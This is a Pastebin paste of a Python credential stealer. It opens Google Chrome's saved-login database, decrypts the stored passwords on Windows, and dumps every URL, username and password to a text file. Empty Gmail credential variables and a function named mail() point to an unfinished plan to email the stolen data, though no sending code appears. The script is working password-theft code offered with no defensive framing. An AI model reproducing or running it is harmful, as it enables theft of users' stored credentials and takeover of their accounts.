Advertisement
Guest User

Untitled

a guest
Jul 11th, 2018
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.10 KB | None | 0 0
  1. import os,sys
  2. import sqlite3
  3. try:
  4. import win32crypt
  5. except:
  6. pass
  7. import argparse
  8.  
  9.  
  10. gmail_user =''
  11. gmail_pwd =''
  12. subject=''
  13. text=''
  14.  
  15. def mail():
  16. import sys
  17. with open('/Dump/chrome.txt', 'w') as f:
  18. sys.stdout = f
  19. print(main())
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26. def main():
  27. info_list = []
  28. path = getpath()
  29. try:
  30. connection = sqlite3.connect(path + "Login Data")
  31. with connection:
  32. cursor = connection.cursor()
  33. v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  34. value = v.fetchall()
  35.  
  36. if (os.name == "posix") and (sys.platform == "darwin"):
  37. print("Mac OSX not supported.")
  38. sys.exit(0)
  39.  
  40. for information in value:
  41.  
  42.  
  43. if os.name == 'nt':
  44. password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
  45. if password:
  46. info_list.append({
  47. 'origin_url': information[0],
  48. 'username': information[1],
  49. 'password': str(password)
  50. })
  51.  
  52.  
  53.  
  54. elif os.name == 'posix':
  55. info_list.append({
  56. 'origin_url': information[0],
  57. 'username': information[1],
  58. 'password': information[2]
  59. })
  60.  
  61.  
  62.  
  63.  
  64. except sqlite3.OperationalError as e:
  65. e = str(e)
  66. if (e == 'database is locked'):
  67. print('[!] Make sure Google Chrome is not running in the background')
  68. sys.exit(0)
  69. elif (e == 'no such table: logins'):
  70. print('[!] Something wrong with the database name')
  71. sys.exit(0)
  72. elif (e == 'unable to open database file'):
  73. print('[!] Something wrong with the database path')
  74. sys.exit(0)
  75. else:
  76. print(e)
  77. sys.exit(0)
  78.  
  79.  
  80.  
  81. return info_list
  82.  
  83. def getpath():
  84. if os.name == "nt":
  85. # This is the Windows Path
  86. PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
  87. if (os.path.isdir(PathName) == False):
  88. print('[!] Chrome Doesn\'t exists')
  89. sys.exit(0)
  90. elif ((os.name == "posix") and (sys.platform == "darwin")):
  91. # This is the OS X Path
  92. PathName = os.getenv('HOME') + "/Library/Application Support/Google/Chrome/Default/"
  93. if (os.path.isdir(PathName) == False):
  94. print('[!] Chrome Doesn\'t exists')
  95. sys.exit(0)
  96. elif (os.name == "posix"):
  97. # This is the Linux Path
  98. PathName = os.getenv('HOME') + '/.config/google-chrome/Default/'
  99. if (os.path.isdir(PathName) == False):
  100. print('[!] Chrome Doesn\'t exists')
  101. sys.exit(0)
  102.  
  103. return PathName
  104.  
  105.  
  106. if __name__ == '__main__':
  107.  
  108. mail()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement